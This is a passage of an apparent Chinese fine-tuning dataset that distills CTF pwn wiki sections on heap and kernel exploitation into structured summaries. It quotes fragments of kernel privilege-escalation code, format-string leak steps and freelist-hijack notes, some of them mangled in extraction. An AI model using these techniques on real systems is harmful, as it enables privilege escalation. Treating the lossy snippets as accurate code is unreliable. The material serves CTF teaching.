"terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆中的检查"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8c8f72bc32a4d61074cb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation\n路径分类：pwn / pwn/linux/kernel-mode\n分块：8/8\n\n核心知识点：\n- 本节主题围绕“Final Exploitation”展开。\n- / The setresuid() check for user's permission by ns_capable_setid(), so we can just patch it to let it always return true :) / memset(kcode_map + (NS_CAPABLE_SETID & 0xfff), '\\x90', 0x40);\n- } / Just for testing CFI's availability :) / void trigger_control_flow_integrity_detection(void) { size_t buf[0x1000];\n- } void exploitation(int argc, char argv, char envp) { /* Step.O - fundamental works / save_status();\n- if (dev_fd < 0) { err_exit(\"FAILED to open /dev/d3kcache!\n- / Step.I - page-level heap fengshui to make a cross-cache off-by-null, making two pipe_buffer pointing to the same pages / corrupting_first_level_pipe_for_page_uaf();\n\n关键术语：\n- UAF\n- 堆\n- ROP/JOP\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4341, "chunk_count": 8, "chunk_index": 7, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Final Exploitation", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Final Exploitation"], "original_id": "docs-898b945c811c1075bbf4", "original_line": 38, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "c862ed64bfb2abce0964049c", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "ROP/JOP", "AI安全", "修复/缓解", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8caeb7110ccfd78ebc8a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「泄露任意地址内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 泄露内存 > 泄露任意地址内存\n路径分类：pwn / pwn/linux/user-mode\n分块：3/3\n\n核心知识点：\n- 本节主题围绕“泄露任意地址内存”展开。\n- 但是，并不是说所有的偏移机器字长的整数倍，可以让我们直接相应参数来获取，有时候，我们需要对我们输入的格式化字符串进行填充，来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处，一般来说，类似于下面的这个样子。\n- : Done 0xf76280c0 [] Switching to interactive mode [] Process './leakmemory' stopped with exit code 0 (pid 65363) [*] Got EOF while reading in interactiv `` 我们确实得到了scanf的地址。\n- `text [padding][addr] ` 注意 > 我们不能直接在命令行输入\\x0c\\xa0\\x04\\x08%4$s这是因为虽然前面的确实是printf@got的地址，但是，scanf函数并不会将其识别为对应的字符串，而是会将\\,x,0,c分别作为一个字符进行读入。\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n代码/命令片段线索：\n- plain: 2 行，首行 `我们确实得到了scanf的地址。`\n- plain: 4 行，首行 `注意`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1307, "chunk_count": 3, "chunk_index": 2, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "泄露任意地址内存", "heading_path": ["利用", "泄露内存", "泄露任意地址内存"], "original_id": "docs-6934f5ac83964bf98aba", "original_line": 892, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "7b3ccbaaba7beac4e3fe88df", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8d0d2ff94329287700a3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md` 中的章节「Step.I - 实现内核任意地址读写」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md`\n标题：freelist 劫持\n章节：freelist 劫持 > 例题：RWCTF2022高校赛 - Digging into kernel 1 & 2 > 漏洞利用 > Step.I - 实现内核任意地址读写\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Step.I - 实现内核任意地址读写”展开。\n- > 可能有细心的同学发现了：原来的 slub 上面还有一定数量的空闲 object，直接丢弃的话会导致内存泄漏的发生，但首先这一小部分内存的泄露并不会造成负面的影响，其次这也不是我们作为攻击者应该关注的问题（笑）\n- 但这么做有着一个小问题，当我们分配到目标地址时目标地址前 8 字节的数据会被写入 freelist，而这通常并非一个有效的地址，从而导致 kernel panic，因此我们应当尽量选取目标地址往前的一个有着 8 字节 0 的区域，从而使得 freelist 获得一个 NULL 指针，促使 kmem\\_cache 向 buddy system 请求一个新的 slub，这样就不会发生 crash。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 701, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Step.I - 实现内核任意地址读写", "heading_path": ["freelist 劫持", "例题：RWCTF2022高校赛 - Digging into kernel 1 & 2", "漏洞利用", "Step.I - 实现内核任意地址读写"], "original_id": "docs-98c591dbbe62ecb58836", "original_line": 757, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "source_root": "docs", "source_sha256": "02896b554073a50b7d6d905e5443637655518f6daf2fa5641454b79f4a5f76a3", "split": "train", "split_group_key": "3ba289f67a69e754d334839f", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "freelist 劫持"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/freelist.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8d580c8deeb3a462a691", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「Leak 原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：Unsorted Bin Attack > Unsorted Bin Leak > Leak 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Leak 原理”展开。\n- 如果我们可以把正确的 fd 指针 leak 出来，就可以获得一个与 main_arena 有固定偏移的地址，这个偏移可以通过调试得出。\n- 说到全局变量，立马可以想到他会被分配在 .data 或者 .bss 等段上，那么如果我们有进程所使用的 libc 的 .so 文件的话，我们就可以获得 main_arena 与 libc 基地址的偏移，实现对 ASLR 的绕过。\n- 而main_arena 是一个 struct malloc_state 类型的全局变量，是 ptmalloc 管理主分配区的唯一实例。\n- 那么如何取得 main_arena 与 libc 基址的偏移呢？\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 319, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Leak 原理", "heading_path": ["Unsorted Bin Attack", "Unsorted Bin Leak", "Leak 原理"], "original_id": "docs-87c141609a1f52cad738", "original_line": 1099, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "0a20fdc48b193f7143e4974a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8d82aebf3ab718f72fd3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「user space to kernel space （系统调用）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > 状态切换 > user space to kernel space （系统调用）\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“user space to kernel space （系统调用）”展开。\n- 2. 将当前栈顶（用户空间栈顶）记录在 CPU 独占变量区域里，将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。\n- 5. 通过系统调用号，跳到全局变量 sys_call_table` 相应位置继续执行系统调用。\n- 当发生 系统调用，产生异常，外设产生中断 等事件时，会发生用户态到内核态的切换，进入到内核相对应的处理程序中进行处理。\n- 系统调用是内核与用户通信的直接接口，因此我们主要关注用户空间比较常用的系统调用这一行为，其具体的过程为： > 注意：当系统调用指令执行后，CPU 便进入内核态，以下操作在内核态完成。\n- 1. 通过 swapgs 切换 GS 段寄存器，将 GS 寄存器值和一个特定位置的值进行交换，目的是保存 GS 值，同时将该位置的值作为内核执行时的 GS 值使用。\n\n关键术语：\n- 栈\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n- code:asm\n\n代码/命令片段线索：\n- asm: 24 行，首行 `ENTRY(entry_SYSCALL_64)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1345, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "user space to kernel space （系统调用）", "heading_path": ["基础知识", "状态切换", "user space to kernel space （系统调用）"], "original_id": "docs-cef37daa65cc19764a88", "original_line": 642, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "ec93af3638de8e8298664e23", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "pwn", "linux", "kernel-mode", "basic-knowledge.md", "code:asm"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8dd2a7c5adb3e55ef549", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/kpti-bypass.md` 中的章节「例题：强网杯2018 - core」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/kpti-bypass.md`\n标题：Kernel ROP with KPTI bypass\n章节：Kernel ROP with KPTI bypass > 例题：强网杯2018 - core\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题：强网杯2018 - core”展开。\n- } void get_root_shell(void) { if(getuid()) { log_error(\"[x] Failed to get the root!\n- if(fd < 0) { log_error(\"[x] Failed to open the /proc/core !\n- if(ksyms_file == NULL) { log_error(\"[x] Failed to open the sym_table file!\n- / reading canary value / log_info(\"[] Reading value of kernel stack canary...\");\n- printf(SUCCESS_MSG(\"[+] Got kernel stack canary: \") \"%lx\\n\", canary);\n\n关键术语：\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:bash\n- code:c\n\n代码/命令片段线索：\n- bash: 8 行，首行 `qemu-system-x86_64 \\`\n- c: 151 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4961, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "例题：强网杯2018 - core", "heading_path": ["Kernel ROP with KPTI bypass", "例题：强网杯2018 - core"], "original_id": "docs-b796df1392c3e34bed4c", "original_line": 801, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/kpti-bypass.md", "source_root": "docs", "source_sha256": "1edb6bfca66c2cee66c8b76b071a022f896da48a94c1871e3c151cf9ec33857f", "split": "train", "split_group_key": "f9fff615f6f5b7a32516c3bb", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:bash", "code:c"], "title": "Kernel ROP with KPTI bypass"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/kpti-bypass.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8e6c17aa4ee6f68c181f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「泄露任意地址内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 泄露内存 > 泄露任意地址内存\n路径分类：pwn / pwn/linux/user-mode\n分块：2/3\n\n核心知识点：\n- 本节主题围绕“泄露任意地址内存”展开。\n- 首先，获取scanf@got的地址，如下 > 这里之所以没有使用printf函数，是因为scanf函数会对0a，0b，0c，00等字符有一些奇怪的处理，，导致无法正常读入，，感兴趣的可以试试。\n- 但是，并不是说所有的偏移机器字长的整数倍，可以让我们直接相应参数来获取，有时候，我们需要对我们输入的格式化字符串进行填充，来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处，一般来说，类似于下面的这个样子。\n- are o(octal), x(hex), d(decimal), u(unsigned decimal), t(binary), f(float), a(address), i(instruction), c(char), s(string) and z(hex, zero padded on the left).\n- Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).\n- The specified number of objects of the specified size are printed according to the format.\n\n关键术语：\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n代码/命令片段线索：\n- plain: 4 行，首行 `显然0xffffcd20处所对应的格式化字符串所对应的变量值0x73243425并不能够被改程序访问，所以程序就自然崩溃了。`\n- plain: 1 行，首行 `下面我们利用pwntools构造payload如下`\n- plain: 1 行，首行 `其中，我们使用gdb.attach(sh)来进行调试。当我们运行到第二个printf函数的时候(记得下断点)，可以看到我们的第四个参数确实指向我们的scanf的地址，这里输出`\n- plain: 1 行，首行 `同时，在我们运行的terminal下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4406, "chunk_count": 3, "chunk_index": 1, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "泄露任意地址内存", "heading_path": ["利用", "泄露内存", "泄露任意地址内存"], "original_id": "docs-7d9feb3077be89d68ad4", "original_line": 891, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "7b3ccbaaba7beac4e3fe88df", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8e6f6d5fb4dc57bcb8a9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「KASLR」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > Mitigation > 通用保护机制 > KASLR\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- KASLR即``内核空间地址随机化`（kernel address space layout randomize），与用户态程序的ASLR相类似——在内核镜像映射到实际的地址空间时加上一个偏移值（粒度为 256MB），但是内核内部的相对偏移其实还是不变的。\n- 在未开启KASLR保护机制时，内核代码段的基址为 `0xffffffff81000000` ，direct mapping area 的基址为 0xffff888000000000`。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 325, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "KASLR", "heading_path": ["基础知识", "Mitigation", "通用保护机制", "KASLR"], "original_id": "docs-abef8df70a2cb952ee53", "original_line": 648, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "0725be72f8f64dcb0d79b98a", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8e725b8024252654dfac", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md` 中的章节「SMEP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md`\n标题：bypass-smep （已过时）\n章节：bypass-smep （已过时） > SMEP\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SMEP”展开。\n- 为了防止 ret2usr 攻击，CPU 开发者提出了 smep 保护——Supervisor Mode Execution Protection，其作用是当 CPU 处于 ring0 模式时，执行 用户空间的代码 会触发页错误。\n- 对于使用 QEMU 启动的 Linux VM 而言，我们可以通过查看启动参数中的 CPU 参数确定是否开启了 SMEP 保护： ``shell $ cat run.sh | grep -i smep -cpu kvm64,+smep,+smap \\ ` 也可以通过查看 /proc/cpuinfo 文件进行确定： `shell ~ $ cat /proc/cpuinfo | grep -i smep flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge...\n- > 在 ARM 架构中有一种类似的保护称为 PXN。\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:shell\n\n代码/命令片段线索：\n- shell: 2 行，首行 `$ cat run.sh | grep -i smep`\n- shell: 2 行，首行 `~ $ cat /proc/cpuinfo | grep -i smep`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 474, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "SMEP", "heading_path": ["bypass-smep （已过时）", "SMEP"], "original_id": "docs-9838eb9cc80ffc72cdfc", "original_line": 796, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md", "source_root": "docs", "source_sha256": "69b81f760f7d2f63881ef68284bec9da46903bc954671ec7e3d187e6a84a12fc", "split": "train", "split_group_key": "c569524621dbd5d545bbddb0", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:shell"], "title": "bypass-smep （已过时）"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8efa8b2cf8a0ac6414c1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md`\n标题：ret2dir\n章节：ret2dir > 例题：MINI-LCTF2022 - kgadget > 分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- 还是惯例的给了个有漏洞的驱动，逆起来其实并不难，唯一有用的就是 ioctl，若 ioctl 的第二个参数为 114514 则会将第三个参数作为指针进行解引用，取其所指地址上值作为函数指针进行执行（这里编译器将其优化为 __x86_indirect_thunk_rbx() ，其实本质上就是 call rbx ）。\n- } ` 在启动脚本中开启了 smep 与 smap 保护，所以我们不能够直接在用户空间构造 rop 然后 ret2usr，但是由于没有开启 kaslr，所以我们也不需要泄露内核基址： `sh #!\n- qmemcpy( (void )(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168), \"arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3\", 48);\n- (_QWORD )(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = 0x3361626E74747261LL;\n- ``c __int64 __fastcall kgadget_ioctl(file __file, unsigned int cmd, unsigned __int64 param) { __int64 v3;\n\n关键术语：\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n- code:sh\n\n代码/命令片段线索：\n- c: 27 行，首行 `__int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param)`\n- sh: 12 行，首行 `#!/bin/sh`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1188, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "分析", "heading_path": ["ret2dir", "例题：MINI-LCTF2022 - kgadget", "分析"], "original_id": "docs-9d0475bc5120a4a9d83c", "original_line": 804, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2dir.md", "source_root": "docs", "source_sha256": "03a9f28cf23312e37760324d080b1a938051541da85bfe9f74fc68c15831dd70", "split": "train", "split_group_key": "c7b3c9a53460c12e3688df34", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c", "code:sh"], "title": "ret2dir"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2dir.md", "split": "train", "type": "ctf_lora_sft"}
